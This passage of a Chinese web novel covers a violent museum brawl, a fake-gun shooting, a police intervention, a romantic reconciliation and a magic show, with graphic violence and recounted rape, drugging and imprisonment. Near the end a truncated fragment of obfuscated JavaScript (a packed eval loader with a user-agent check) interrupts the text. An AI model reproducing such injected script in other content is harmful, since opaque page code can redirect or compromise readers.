目光交互的一刹,盛见誉清晰地记起了这双特别的眼睛。时间像是拉条回溯到了两年多前格尔兰那个大雨霶霈的夏日,翻涌的过往如狂浪如雷鸣电闪拍打灰蒙记忆。 命运凉薄,似乎那日擦肩相识的分别之后,他们都走向了各自生命阶段中最黯淡惨痛的时刻。 “是你啊……”少顷的怔神后,盛见誉问道,“听小道传闻说前不久白鸢帮袭击了格尔兰大教堂,你哥苏屿也意外死在了那一带黑手党手上?是真的吗?你呢?你还好吗?” 时隔半余月,再次听到“苏屿”这个魔鬼的名字时,苏星眠竟比自己想象中还要平静。 他迎着一旁姜彧担忧的目光,笑了笑后,对着盛见誉道:“我很好,好久不见盛老师,我现在还能有殊荣去您的音乐工作室玩玩吗?” “我的邀约长期有效,国内我目前和星寰娱乐有合作,音乐室也在星寰大厦那边。”盛见誉一如初识时抽出一张磨砂烫金名片递给苏星眠,轻拍了拍他的肩膀,“刚刚看你好像对小遂的画展很感兴趣,要一起过去看看展吗?” “可以吗?”苏星眠语气带上了几分欣然。 遮阳伞向苏星眠和羌彧倾斜了些,阴影笼罩被阳光照得沁汗的两人,盛见誉笑容耀眼:“走吧,绿灯快要闪了。” 除了一开始那句外,羌彧全程都没有出言干预什么,他像一个完全放养孩子的开明大家长,苏星眠跟着盛见誉跑,他就落后两步不紧不慢地跟着。 三人赶在绿灯跳黄前穿行过马路,走到博物馆门口时,一辆黑色帕纳梅拉突然拦停在三人面前。 随后车门打开,萧庭从驾驶位冲下来一把抓住了羌彧的手腕,语气既强势又恳求:“羌彧,你别躲着我,我们好好谈谈。” “你又想做什么?”苏星眠挡在羌彧身前,皱着眉警惕地盯着这个近几日里多次骚扰羌彧的金发男人。 羌彧倒是一脸平静,他身上没带手机和任何电子设备,萧庭居然还能定位到他的行踪……羌彧思索的视线落向手腕上那只普通至极的机械石英表,而后在所有人的目光下干脆利落地摘掉丢在地上。 “羌!彧!”萧庭被羌彧的反应弄得气竭,但他大喊的声音却像在发抖,“你别这样,你给我一点时间,你听我解释……当初的事我不知情,是顾南桅和叶酌私自——” “南桅牺牲了,在年初特洛普湾海区的一次行动掩护我的时候。”被当街吼的羌彧面不改色地打断萧庭,他空着的那只手拍了拍苏星眠的肩膀,轻声说,“没事的,星眠你先去玩儿吧。” 盛见誉对上了羌彧示意他带苏星眠走的目光,挑了挑眉,用力揽过苏星眠的肩膀往博物馆正门走:“他们大人有话说,小孩回避哦。” 等苏星眠离开后,羌彧才再次开口:“那次行动布莱恩负伤断了两根肋骨,你知道布莱恩吧?赤隼会二把手的儿子,我当时暴露了和边境警察的联系,被布莱恩父亲暴怒地关在惩禁室找人轮了,轮到失禁尿血,轮到布莱恩从昏迷中醒过来把我像条死狗一样拖回去。” 被冲击到的萧庭半晌说不出话来。 “你从前说我一身傲骨,是意志永不弯折的刀锋。”羌彧目光沉敛,“但早在最初被拐去菲圣德堡时,他们就敲断了我的骨头,不用我详细讲你应该也清楚那些手段吧。” “布莱恩把我带上床,跟我说不爱你,我就能活。” “对不起……”萧庭只觉得自己此刻所有想说的话都太苍白了,他红着眼,几乎落下泪来。 羌彧不为所动:“你想解释什么呢?可是我都不在乎,我只是不再爱你,也不想再见到你了。” “我在努力让自己不恨你,但萧庭,我不能保证永远不恨你——所以请求你,不要再出现在我面前。” 见萧庭不应话,羌彧神色平静,只很轻地笑了一下:“庆幸的是,你已经不是我的上级了。” 29. 第三针 盛见誉和苏星眠走进博物馆A区大厅时,苏星眠先前注意到的那幅画被人撞坏了—— 齐蹊被毫无征兆醒过来的郁寒掐着脖子拖摁到博物馆透亮的玻璃墙上,一路上展柱台被他们撞碎了三个,里面装裱的画摔落下来,画布被满地的玻璃残渣划破。 哗然四散的人群注视下,暴怒的郁寒抓着一把玻璃渣往齐蹊口中塞,眼中是骇人的杀意:“心机婊,亲啊,我让你再亲?” 齐蹊紧闭着嘴,但细小的玻璃渣扎破他脸上皮肉渗出鲜血,更要命的是,他被失去理智的郁寒掐扼得完全喘不过气,缺氧的红色从他脖根迅速攀上额头,他爆起的血管和郁寒手上的青筋一样狰狞。 他想去掏衣兜里的针剂,但根本使不上力气。 在齐蹊以为自己要彻底窒息的前一刻,郁寒松了掐他脖子的力道,用玻璃捂嘴的手却更用力。本能迫使齐蹊想大口喘气,但理智让他生生遏止住了张嘴的本能。 没能让齐蹊吞玻璃的郁寒扯着他的头发将人猛得往玻璃墙上撞,墙体的钢化玻璃硬度极高,仅一下就撞得齐蹊眉骨开裂额间流血。 郁寒掐着齐蹊的脸说,疯戾讽刺地笑着:“我还以为你真舍得锁郁杉一辈子,毕竟只要你敢放开我们,你就该想到自己今天的下场。” “心软是病,也是你的输局。” 齐蹊满脸都是恐怖的血迹,却勾唇挑衅一笑:“你也一样,你总不会真的当街杀了我,你做事总还要给郁杉留半分活路。” “那你低估我了,这些天我无时无刻不在想将你碎尸万段。”郁寒捏着拳头朝齐蹊脸上打去,“知道我等这刻等得多难熬吗?” 齐蹊在那一刹一手接住郁寒的拳头一手掏出针剂注射器想扎入郁寒手腕。 郁寒松开抓齐蹊头发的手一记手刀劈在齐蹊的肘弯,注射器掉在地上的同时他拧过齐蹊手臂将晚骨折到一个近乎恐怖的曲折角度。 他冷笑:“早防着你了。” 齐蹊顺着郁寒拧扭的方向转动手臂,却只堪堪没让手骨骨折。下一秒,郁寒一记肘击狠狠撞上他的腹部,齐蹊早先便落伤的胃再次爆发令人崩溃的疼痛来,他冒出大滴大滴的冷汗,几乎丧失了所有抵抗的力气。 暴力冲突的爆发不过两三分钟,发现变故想冲进来的安保被受惊后着急离开这片展厅的骚乱人群堵在门口,只能先组织秩序疏离人员。 此刻没有人能帮到齐蹊,而他已经站不直身体了,背部抵着玻璃墙面犹如一滩烂泥般滑落摔在地上。郁寒勾着唇角,微俯下腰抬脚踩在他脸上,睥睨蔑讽的姿态像胜利者对待畜奴。 从二楼螺旋式扶梯缓步走下来的楚邃扫了眼展厅的狼藉,顿了片刻。 在郁寒踢踹齐蹊的间隙,楚邃蹲下身捡起一截断裂的镶金红木画框,没有声息地走到郁寒身后,抡起画框对着郁寒脑袋就是一击。 脑部重击的郁寒眼前眩晕了一瞬,险些就着半俯腰的姿势一头栽下去,他勉强直身站稳时后背脊骨又被狠砸了一下,郁寒仓促回过头,在第三下落在前抬手挡住了。 “楚邃?”郁寒眯了眯眼,咬牙切齿道。 楚邃面上无害一笑,瞳中却映射着慑人的病态疯戾,他语气平淡地开口:“打架不要弄坏我的画啊,漂亮哥哥。” 郁寒气笑了,但他对楚邃这个同类没有杀意:“多少钱,我赔。” 楚邃目光挑衅:“你赔不起。” “理解一下吧?如果你家小朋友和别的人好上了,你也会杀了那个人的对吧?”郁寒脚尖踢了踢半昏迷的齐蹊的头,看着楚邃说,“而且你不是也很讨厌齐蹊吗?” “楚遂求我救他。”楚邃冷声道,“齐蹊不能死在我的画展。” “那可真难办啊。”郁寒敛了所有神色,说话的间隙已经让他从刚才被重击的不适感中缓了过来,他抬手去夺楚邃手中的木框,而后抵着楚邃的肩膀将人狠摔到玻璃墙上,“打一架吧。” 此时那面玻璃之外已经围了许多围观的人,举着手机录着视频发到了网上,舆论飞速发酵。 “小遂——!”终于艰难冲出逆流人群的盛见誉面色紧张到失态,他奔跑着,眼睁睁看着和郁寒扭打一团的楚遂落入劣势。 在超出意料的绝对力量压制下,楚邃依仗的身手还是欠缺了些,那包金的木边框狠砸在了楚邃格档的胳膊上,生生裂折开。 与之一同裂开的,还有楚邃的右腕骨。 但局势却蓦地翻转—— 楚邃收起轻视,方才那一刹抬手格挡的同时左手毫无征兆地在人群围观下掏出一把袖珍左轮。 他枪口近距离对着郁寒胸膛,面上笑容极具迷惑性:“楚家早些年涉黑,你要赌我手上这把是玩具还是真枪吗?” “小遂,别冲动!!别开枪!”冲过来的盛见誉在郁寒被短暂震慑的一瞬抱住楚邃护在怀里,他神色焦灼到让所有人都怀疑楚邃手上的是真家伙。 展厅的安保人员这时也围上来了,郁寒和楚邃强行被分隔开。 跟在后面跑得气喘吁吁的苏星眠蹲下身,去扶郁寒脚边遍体伤迹的齐蹊,他神色担忧,小声问着:“先生,你还好吗?” 齐蹊头无意识的侧耷着,他眼皮微微掀动,却没能睁开,胸膛的起伏也越来越弱,像是下一秒就会彻底断了生息。 只片刻的间隙,楚邃一只手挣脱开盛见誉的怀抱,他举枪对着与他数米之隔的郁寒,目光阴沉地扣下了板机,“呯——” 堵在郁寒正前方的保安在楚邃举枪瞄准的瞬间就吓得下意识错开了身,但本该晕过去的齐蹊却在那电光火石的瞬间摇颤着身形挡在了郁寒身前。 他分明意识模糊站立不住,却不知道从哪里来的意志让他一瞬间爆发出那样悍勇的力量和敏捷的速度,他甚至险些将郁寒直接扑倒在地。 无尽拉长的寂静在那一刹凝固了混乱。 齐蹊被击中的肩膀上一痛,随后听到什么物体坠地滚落的微小声响。 那把枪声慑人的左轮射出的子弹,只是一颗小巧普通的树脂弹珠。 戏弄所有人的楚邃一哂,他看向盛见誉的目光格外嘲弄:“假的,真的那把枪早被徐识音没收了。” 众人尚心有余悸地恍神间隙,郁寒皱着眉将身前的齐蹊恶狠狠推开。 齐蹊踉跄着后退一步,被苏星眠一把搀住。恰有血珠凝坠在齐蹊眼睫上,滴融进眼眶又从眼尾淌下来,像流着瘆人的血泪。 那张满是鲜血不再英俊的脸上如旧的温柔担忧漾开来,齐蹊视线穿透郁寒的眼睛,像是妄图唤醒爱人的灵魂。 那样豁出性命触目惊心的深情,实在是让郁寒恶寒至极。 随着郁寒的举动,像被按了暂停键的混乱局面再次搅动,围住他的那群安保人员蜂涌而上,郁寒双拳难敌十六手,很快便被架住狼狈地制在地上。 在安保要将郁寒扭送去警局时,齐蹊却摇晃着身子上前一步,气息虚浮地阻拦道:“今、今天的事情……可以私、私了吗?我们……对博物馆,和展厅主人……造成的一切损失……我们都可以,可以协商……赔偿的……” 说着,齐蹊连着咳嗽了好几声,咳出浓稠的血沫来,身子像秋风中被反复扑打的残破落叶般一阵猛颤。 “你快被这个人打死了你知不知道?你说你要私了?你要主动承担赔偿?”那安保队长看智障一样看齐蹊,嘀咕着,“完了,完了,这怕是被打成傻子了……” 他不理会齐蹊,转头招了招手,问同事救护车到了没。 比救护车先到的是从展厅门口风风火火冲进来的宗寰,他跑得发丝凌乱衣领都歪开来,在看到被按在地上的郁寒时,错愕片刻后喝斥一声:“你们放开他——!” 安保队长认出宗寰,紧张地伸手拦了他一把:“宗寰先生,这人是危险分子!你别靠近他!” “我叫你们放开他!没听到吗?!”宗寰拍开安保队长挡路的手,他带着寒意的音量拨高,眼神骇人。 安保领队在宗寰的目光对峙中僵了一瞬,他压下眼底一闪而逝的对跋扈大少爷的嫌恶,给了其他几人一个眼神,示意他们放开郁寒。 他忍气吞声在心 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宗寰想说别冲动,但郁寒的语气太冷静了,冷静到近乎严肃。他搭在郁寒肩上的手微微扣紧,一瞬间想了很多东西,想如何带郁寒离开,想如何善后,如何平息舆论……以及,是否真的要放任郁寒做不可挽回的事。 他认真地看着郁寒:“不是说疯话吧?” 郁寒没回他。 宗寰目光移到齐蹊身上,狼狈不堪的齐蹊冲他露出一个很浅的微笑,带着些战役最终胜利者的疲惫、谦和,不傲慢不凌人,但依旧很刺目。 宗寰企图以自己对齐蹊的厌恶给这份失智的偏心加码,他尝试说服自己,他自诩不是什么好人,但杀一个罪不至死的人实在有违他的本心理念。他所受的教育,他的成长环境,他的认知他的教养他的骄傲都告诉他,纵容郁寒是错的。 不过十几秒的冷场,宗寰心里已经挣扎了千百次。 “那天之后,齐蹊把我囚禁在郊外的别墅,每天给我注射各种精神药物,催眠、下心理暗示,不间断地折磨我。”郁寒看向宗寰,他声音很冷,字字清晰,足够周围所有人都听清,“你们是不是全都觉得齐蹊是好人啊?呵,或许他真的是吧——但他唯独对我没有善意和好心。” “他威迫我,诱哄另一个软弱的我和他相爱,和他做.爱,忍耐和习惯他的侵犯,他在微博官宣的那张图片但凡再往下截两寸都能看见锁在我手腕上的铐链。” 道德天平在三五句话中倾倒。 “假的吧……”正摁拽着楚邃的盛见誉不敢置信地低喃,“齐蹊那样的人怎么会……” 可郁寒此刻神色没有丝毫疯态,语气也并不怨毒,只是冷静地叙述着齐蹊一条又一条的恶状,那副模样真的很容易让人去相信他说的话。 于是在场的人看向齐蹊的眼神复杂了几分。 苏星眠也下意识去看齐蹊,可在他直觉里,眼前这个爱意溢满能心甘为伤他至此的加害者挡抢的谦和先生,不该是郁寒话里的样子。 但齐蹊缄默着,没有一字一句的解释。 “我发疯地想杀齐蹊,是因为他夺走我的一切,还要抹杀我的意识。”郁寒目光沉沉地对上宗寰那双惊起怒浪的眼睛,“——我觉得我没有错。” 心神猛烈震荡的宗寰原以为等不来郁寒的解释和理由,但决断是在听到郁寒第一句话的一瞬间下定的。 他深吸一口气压下扭曲的怒意,松开手,退后半步:“好,做你想做的事,我给你兜底。” 郁寒缓步向齐蹊走过去,大概是都没从冲击和混乱思绪中缓过来,这一次没有人上前阻挡他。 他揪住齐蹊沾血的衣领,平静问:“我有个问题困惑很久了——第二人格就一定该死吗?” “某种意义上讲,那些精神分裂者一直被针对想消抹的具有独立意识的副人格,半点不无辜吗?”郁寒情绪淡得全然不像他,但言辞犀利异常,“我以前是做了什么伤天害理必须被审判被抹杀的事?你所谓的精神治疗,真的是绝对正确的吗?真的毫无私心吗?” “——还是说,你只是要把郁杉变成你想要的样子?” 30. 道歉与示爱 展厅挑高的天花板下昂贵的琉璃吊灯光华眩目,映着炽白璀璨的灯光,灯下每一个人脸上的微小神情都一览无余。 齐蹊直视着郁寒,他那双沉敛温和的眼中光华隐匿,终于说了第一句反驳的话:“可你伤害郁杉了,你不无辜的。” 郁寒揪着齐蹊衣领的手微微用力,毫无情绪地勾唇:“确实,那就一起下地狱好了。” 齐蹊被郁寒摔拽在地,眼前一片天旋地转,晕眩间身上传来密集的钻心痛楚,敲骨凿髓般。他不再有半分挣扎,眼睫微颤后,缓缓阖上了眼。 晃眼的璀璨灯光在视线中隔断,黑暗中愈发清晰的痛楚让人意志摧折,但齐蹊生不起怨恨,他嘴唇动了动,气息微弱地轻喊着:“……阿杉。” 像弥留之际对爱人最后一声眷念的呼唤。 真的很疼很疼啊,齐蹊甚至生出自己大概真要死在这儿的恐惧来,可这样的痛苦和绝望,他的阿杉这二十多年来又在郁寒这个暴徒手下经受了多少次呢。 齐蹊光是想一下就心疼得要死,渐渐的,惧怕之上又生出担扰和不甘来。 他不能死在这里。 “阿杉……阿杉……”齐蹊呕出几口险些倒灌的鲜血,艰难地一遍又一遍地喊着。 他倘若就这样死了,万一第三针精神抑制剂没能对如恶鬼般阴魂不散的郁寒完全起效,那他的阿杉岂不是,又要重新陷进被郁寒纠缠欺辱的日子里。 他此刻觉得漫长无比的施虐也不过是持续了一两分钟的事情,但郁杉不知道被郁寒曾经虐辱伤害了多少个日夜。 齐蹊重新睁开眼,模糊的眼前被血色笼住,他艰难去抓郁寒落拳的手,他不该还有挣扎的力气,但心里的那口气让他突然抵死反抗了起来。 郁寒的拳风像是在某一刹有片刻的停顿,短暂得像错觉,齐蹊其实也不对郁杉能在此刻清醒过来从对他积恨已久的郁寒那儿抢过身体操控权抱希望。 但仅仅是一瞬的回应,也足够应证他在郁杉心中的分量。 那点回应让齐蹊的呼唤声大了些,不止近在咫尺的郁寒,离得稍近的苏星眠和楚邃几人也都听见了。 苏星眠其实有点被眼前的场面勾起了些不好的记忆,他恍了半天神才在齐蹊那让人心揪的声音中回过神。 他想上前的脚步顿了又顿,最终还是善良压过畏惧,冲上去拉持续发疯的郁寒。 楚邃倒是全程冷静地旁观,他以此和楚遂交涉逼诱楚遂应下了不少条件,才用肘弯戳了戳紧拉着他的盛见誉,露出一笑:“再不帮忙,齐蹊就真要被弄死了。” “你手已经受伤了,别胡闹。”盛见誉不是传统英雄主义的家长,况且楚邃也绝对不是见义勇为的性子,他纯粹是去添乱想让事儿变更大的。 盛见誉抬眼看了看对面拦下保安的宗寰,宗寰在放任郁寒再度出手揍齐蹊时,就已经一通电话打给了A市淞江区这块儿的区委书记通后路。 盛家与宗家多年交好,他与宗寰是自幼一起长大的,一边是感情深厚的兄弟要袒护的人,一边是曾经帮过他的楚遂的主治心理医生。 全是熟人的架真的很难拉,但盛见誉终究不能真的看着齐蹊在楚遂的画展被人活活打死。 盛见誉将楚邃强行拉远,然后挽起衣袖准备亲自上去帮忙。 郁寒冷着脸,完全是一副煞神模样,他来一个打一个,来一对打一双,盛见誉和苏星眠都拉不住他,很快场面变成郁寒1v3和几人扭打一团。 “都不许动——!警察!!”博物馆外警鸣声哗然。 接到现场报警后火速从分局警所赶来的两车警察呈包抄阵势在郁寒下最后死手前冲进展厅,将厅中一众人团团围住。 但郁寒有恃无恐般毫无停手之意,警队领头的羌彧一个迅捷箭步,冲上去猛得钳抱住郁寒正揪苏星眠领子挥拳的双手。 快迅跟上羌彧的副队配合着用电棍猛一杵上郁寒的腰肢,银色手铐眨眼间便铐在了郁寒手上。 这种警用.手铐越挣动锁得越紧,郁寒没法用蛮力脱开,被电得身子发麻失力的郁寒皱眉,忍着痛抬首看了眼宗寰。 宗寰此刻电话还没挂,上前两步,朝羌彧还算客气道:“是你啊,当初在赌场遇到的那个小警察……今天这事儿,卖我个面子?” 羌彧自然认得宗寰这尊A市大佛,如今他身上全然没有宗寰从前见他时那股冷淡锐气的傲劲儿,羌彧只目光颇冷地扬了扬唇,如笑面虎般:“不卖。” 宗寰敛了好神色,朝电话那头又说了两句,语气算不上弱势,而后将手机一递:“那你们辖区钱书记钱胤平的话你听不听?” 羌彧手上还钳制着郁寒,他笑得更加圆滑得体,话却不带半分让步:“这位涉嫌危害公共安全,外面这么多受惊的人民群众看着呢,就算我们市局林德祐林局长亲口说放人,也总要去警局做趟笔录的。” 因为看起来伤势极重而不敢被警员轻易挪动的齐蹊突然抓住了羌彧的裤脚,像用着最后一口气般快速说:“警官……我是,是郁杉的法定监护人,他有一些精神方面的疾病障碍,请你们见谅……他对我造成的伤害,我不追究不报警不起诉……今天这闹剧只是家务事,至于对第三方所造成的财物损失,我们会……会全数赔偿的。” 老实说,羌彧这个视角看齐蹊是有些惊悚的,他默了一瞬,转头问旁边副队:“救护车呢?救护车还没到吗?” 两分钟后齐蹊被担架架走了,向齐蹊反复保证会认真考虑他的话再定性该事件责任后,羌彧略显无奈地看向楚邃他们:“另一个受害人怎么说?” “见誉,小遂……”宗寰喊了他们一声,带了点恳求的意思。 盛见誉他完全听不得宗寰那般低姿态的语气,而且真要论起来郁寒和楚邃打起来还是楚邃先出的手。 盛见誉瞧了宗寰一眼,出声揽了话:“我们是画展的主办方,今天的事我们也不追究,参展受惊的群众我们会退票并给予其他的补偿安抚。” 羌彧微微冷下脸,将视线投向退开七八步远降低存在感的苏星眠:“你呢?受伤没有?” 苏星眠诚实地摇了摇头,羌彧教过他不少防身的格斗方法,他虽然制不住郁寒但也没落着什么伤,身上唯数不多挂的一点儿彩也是沾的齐蹊的血。 上头领导发话施压倒是次要的,但现场当事人的话全都说到这份儿上了,羌彧面无表情地解开郁寒手上手铐,拍了拍记录警员的肩膀:“记好了吗,收队——” 羌彧走向不远处默不作声的苏星眠,揉了把他的头发,将他揽怀里带着往外走:“别人打架你上去凑什么热闹,没吓着吧?” 苏星眠再度摇了摇头,又抬眼看羌彧:“刚刚纠缠你的人解决了吗?” “嗯,有些话跟他说开了。”羌彧目光闪烁,他看了眼外面围得人山人海的看热闹的人,叹了口气,“要先做好群众的安抚工作啊,事情肯定已经在网上发酵了,小李啊,尽快把事件通告发出来。” 警队走后,脸上挨了两拳险些破相的盛见誉着急带楚邃去医院检查手臂的伤,他和宗寰招呼一声就先将人拖走了,这个点儿市区不堵,他们开车到医院后走VIP通道就诊会比救护车急诊更便捷。 “我们也去医院。”宗寰扣住了郁寒的手腕,半搀着他,和他挨得很近。 “不用。”郁寒冷淡回拒,“……我没什么时间了。” 宗寰明显顿了一下,敏锐地察觉到什么,努力用着平和语气笑问:“什么叫没有时间了?” 郁寒没有回答这句,他扫了眼展厅外面未散的围观人群,朝另一个方向横穿英萃博览馆向S区的出口走去。 太冷淡了,像他妈的被他那个冰山主人格附体了一样,宗寰眼中闪过什么,跟上去问:“齐蹊给你用了什么精神药物?郁寒,你现在状态很不对劲,跟我回家,我叫人联系国际最专业的精神科医生。” 郁寒注意到宗寰行动有着微小异样的左腿,他放缓了迈步的速度:“腿受伤了?” “嗯,小伤,快养好了。”宗寰不是用伤势搏同情的性格,他不提那天郁寒被带走后他和石泽毅爆发的冲突,也不提他这些日子带着伤病疯魔般找了郁寒多久。他与家中斡旋了两天后,先是急冲冲问石泽毅要人,结果被石泽毅钓着兜兜转转耗了十来天,他都快把整个A市找翻过来了也没见着郁寒。 最后转头发现,他的郁教授十几天前和齐蹊官宣在一起了。 郁寒的关心点到为止,他并不追问,转而问出另一个疑惑:“你今天怎么会恰好来博物馆这边?” “从见誉那儿知道小遂给了齐蹊两张画展门票,所以想着或许能来这儿偶遇一下你。”宗寰语气故作轻松地提了句,“看见那条微博,我还以为你真的和齐蹊……” 他差点就准备当迫人所爱的恶霸小三了。 宗寰后知后觉察觉自己这话好像表现得太舔郁寒了,明明先前不久才撕破脸一次,他和郁寒现下的相处却毫无该有的尴尬和隔阂。 但气氛古怪。 宗寰挪开追逐着郁寒的视线,假装漫不经心地望向博物馆走廊顶部镶嵌着无数碎水晶的天花板,射灯的光被水晶折射闪烁,犹如遥远星空近在咫尺。 要是星星真有这么触手可及就好了……宗寰的视线又不可控制地移回郁寒身上。 或许,或许他应该再争取一下,舔就舔呗,毕竟面子这种东西哪能有未来媳妇儿重要呢? “郁……”宗寰刚开口,郁寒却突然止了脚步,他们前面是C区最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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郁寒迎着宗寰格外复杂的目光,平静询问:“怎么了?” 宗寰吸了吸气,脱口而出:“对不起。” “?”郁寒那张难窥情绪的脸上终于流露出一丝直白的疑问。 宗寰笑得勉强,声音有些轻:“我在想之前对你做的那些,下药,断腿,囚禁……我的喜欢,好像太不体面了。” 对于郁寒的感情,宗寰从来都是含糊其词不承认不否认的,他明晃晃地玩暧昧,对郁寒表露出强烈兴趣,也足够的上心,但从来不对这份感情下可以正视的定义。 没想到,他今天会在这种毫无征兆地情况下,以自省的态度言说自己的喜欢。 郁寒看了宗寰许久,久到汇演厅门口排队的长龙只剩下零星几人,他才缓缓开口:“不是说,一笔勾销了吗?” 宗寰怔了怔,失神的下一瞬,他被郁寒反握住手腕,牵着往汇演厅检票口走去。 有宗寰在,出入这些场合只需要刷刷脸,他平日行事高调张扬,这A市绝大多数上得了台面的大场所都认得他这张脸。 门口检票的工作人员联络了专门的接待员引郁寒两人进去。 通往vip区座位的专属走道有一段光线昏暗迷离,郁寒微勾着唇,突然压着声音说:“我的大少爷,不要露出副要碎不碎的为感情黯然神伤的样子,会让人心疼的。” “根本不像道歉,也不像示爱,像犯错的小狗呜咽呻吟着委屈求怜。” 那名接待员不动声色地加快步伐拉开五六步安全距离,给客人留下独立私语的空间。 “我不要怜悯,也不是在认错。”宗寰忽而明灿地笑了起来,眼中的碎光压着浅淡的难过,“郁寒,我不想和你一笔勾销,先前那些事做了就是做了,我对你的伤害我尽数弥补,你对我的利用你尽数偿还,我们慢慢清算。” 算不清的,谁戏谑玩笑下的沉沦动心,谁灯光迷离下的逄场作戏,从前那摊烂帐八辈子都算不清。宗寰话里的意思是,他不要和郁寒划清过往,他宁愿一直纠缠不息。 有荧蓝的光段映在宗寰脸上,照得那张俊脸森然惨白,郁寒饱含恶意道:“别笑了,好难看。” 熟悉的味道,带着些羞辱的恶劣,但比方才那副淡漠如寒冰封心的态度生动得太多。 宗寰缓慢敛了笑,失控倾露的情绪被他尽数压了回去,只若有所思地眯了眯眼,调侃道:“原来郁教授喜欢这种调调的?” “不是。”被引到vip前排座位坐下的郁寒压了压唇角,没压得住,“反差太大了,宗大少爷,分不清你是脑子进水了还是戏精上身了。” 郁寒音刚落,面前巨大的舞台骤然亮了起来,炽白的光交聚于一处。 31. 魔术秀演 欲言又止的宗寰随着郁寒微亮的视线一同向台上望去——那个当初张扬锋锐的少年此刻一身修身华美的墨绿色西装,褪减青涩,像历经岁月沉淀的古朴树木般。 场内寂静了一刹。 “变化这么大么?不过才20岁的年纪,竟然已经有这副沉稳气质了,这要往荀越旁边一站,倒衬得荀越像个毛头小子似的。”宗寰这也是徐然醒来后第一次见到他,他随口评价的语调懒懒的,像又恢复了那副万事不经心的轻佻模样。 “别急着评价。”郁寒平静说,“我倒是觉着,舞台上的徐然,身上那股劲儿一点没变。” 宗寰不置可否,台上的徐然笑着和满座的观众打招呼,下一秒,人山沸腾的尖叫声欢呼声响彻汇演厅内,无数人激动地叫着徐然的名字。 那天徐然在游戏里和那俩小姑娘说了月底会在英萃馆开魔术秀演的事后,消息就一发不可收拾地传了出去,今天这里俨然变成了一场粉丝见面会,甚至有人不远万里买票赶来A市。 徐然在电竞圈是站在最顶端的天才选手,这个群体并不小众的圈子里,有太多太多的人喜欢徐然。 而此刻这样生命澎湃而热烈的场景,几乎能将任何一朵将凋的花朵供养鲜活,徐然眉眼愈弯:“好久不见,谢谢你们还能记得我。” “我实在没想过会有这么多人来……对于当初的不告而别我十分抱歉,由于身体缘故我已经不能再回《黎眠乐园》游戏职业联赛打比赛了,今天也将是我人生的最后一场魔术秀演。”徐然声音清朗温柔,“这场演出的门票会在之后尽数退还,大家往返途中的路费也请由我来承担。真的很感谢曾经的相遇和一路的陪伴,感谢大家长久的喜欢和今天的到来——” “这场魔术秀,是我精心准备后送给你们以及我自己的一份浪漫礼物。” 他音落时,手搭上身后道具组不知什么时候搬上台的小圆桌,动作优雅而迅捷地扯开桌上的墨紫色丝绒桌布—— 上百只衔着丝绢布袋的白鸽凭空出现,争先恐后接连飞冲出舞台,而后在厅中观众席上空有序旋飞,它们衔着的布袋松开的刹那,心形软糖糖果混着漫天五彩斑斓的彩带和迷你专属印花扑克牌散开来。 好几颗气囊包装好的小软糖砸到了宗寰头上,宗寰抬手用双指指节夹住一张飘到眼前的扑克牌,是张红桃K,背面有漂亮的艺术体签名。 宗光眸光微微闪烁,他原先还以为这汇演厅里这么高的上座率是荀越花钱叫来撑场面的,但此刻全场那些近乎狂热、激动到哭到缺氧半昏厥的尖叫声可半点不像掺假。 宗寰头向郁寒凑近许多,声音才勉强没被尖叫声盖过去:“徐然居然还挺有人气。” “他之前很有名,无论是在魔术圈还是电竞圈里都曾是炙手可热的新星,A大的学生里也有不少是徐然的粉丝。”郁寒回忆道,他拈起一颗软糖,拆开糖纸,面色平淡地放进口中。 宗寰闻言顿了顿,他的视线几乎黏在了郁寒的脸上,好片刻才敛眸看向指间旋玩翻转着的扑克牌,最后只轻描淡写落下一句:“是荀越毁了他。” 郁寒没接话,那一瞬闪动的目光似乎有些复杂,让人难以分辨他在想什么。 场内的光与影骤然交错,台上聚光灯散成星点般的碎光,缀于不可见物的黑暗中。 当几秒后强烈的灯光再次亮起时,舞台上空无一人,场内一秒的沉寂后,另一盏聚光灯精准锁定般照射向徐然,徐然竟不知何时换了身衣物站在了离舞台极远的观众席E区。 下一秒,全场欢呼沸腾。 徐然此刻Cos了游戏内吸血鬼角色的妆造,他手持一把标志性的银白圣剑,朝灯光一挥,银色寒芒闪逝,切断光束。 他温柔坚定地声音从麦中传开:“剑所指的方向——” 全场响起震耳的、整齐划一的呐喊声:“是狡诈猎物的心脏!!” 这前半句是圣剑技能的触发台词,后半句是吸血鬼的角色台词,徐然曾在《黎眠乐园》第二届国际职业联赛四强赛中一人截杀六支围猎他的敌队,绝境翻盘,一举扬名,这是他那场比赛决胜结算时触发的语音台词,也是他后来的应援语。 徐然吹了一声短促婉转的口哨,半空旋飞的一只鸽子落在他持剑的手上,低头啄了啄了他手腕上红绳坠着的金铃,铃铛是哑的,但许多鸽子都接到指令般向徐然靠了过来,一时间洁白的翅羽扑闪一团,混乱视线。 一声长哨从汇演厅最北边传来,白鸽群倏然向北面飞掠而去,只见徐然原先所站的位置只余下一团烟气缭绕的红雾缓缓散开。 ——犹如吸血鬼的被动技能“鬼魅”。 惊呼声再次响起。 原先那处的灯光暗了下去,头顶炽白的灯束一路追逐着鸽群,投射向最北边的观众席。 那座位上的是位面色略显病白的年轻女生,下一刻,她的身后出现了一只手,轻搭在她的肩头。 女生惊了一下,正要侧头向后看去,头顶却被戴上了一个漂亮的铃兰花环,装着华贵的吸血鬼从另一侧凑近她肩头,温柔道:“surprise。” 舞台两侧的巨大光屏投映出女生和徐然此刻的互动,那名女生激动得捂住嘴,所有人听到她声音兴奋发颤地说着:“我叫许滢,徐神你、你还记得我吗?我是你的第一批粉丝!” “记得。”徐然微微一笑,“记得当初你答应过我,手术成功了要继续回来看我的比赛。我知道你一定会来。” 许滢眼中热泪夺眶而出,近乎哽咽:“谢谢你,你真的是个很好的人……所以,很痛很痛的治疗我都坚持下来了,我……活着来赴约了。” 光屏镜头呈现的场面有种突兀煽情的戏剧性,甚至因为许滢过分激动的表现而显得有些难以共情的尬场,但只有她自己知道,她赴这场约做了多少艰辛的努力。 她挣脱病魔缠累的绝望囚笼,蹚过压抑痛苦的情绪泥潭,在自我意志的斗争中得胜,今天才能站在这里。 庆幸的是,她追逐崇拜了一整个青春的人,还记得她。 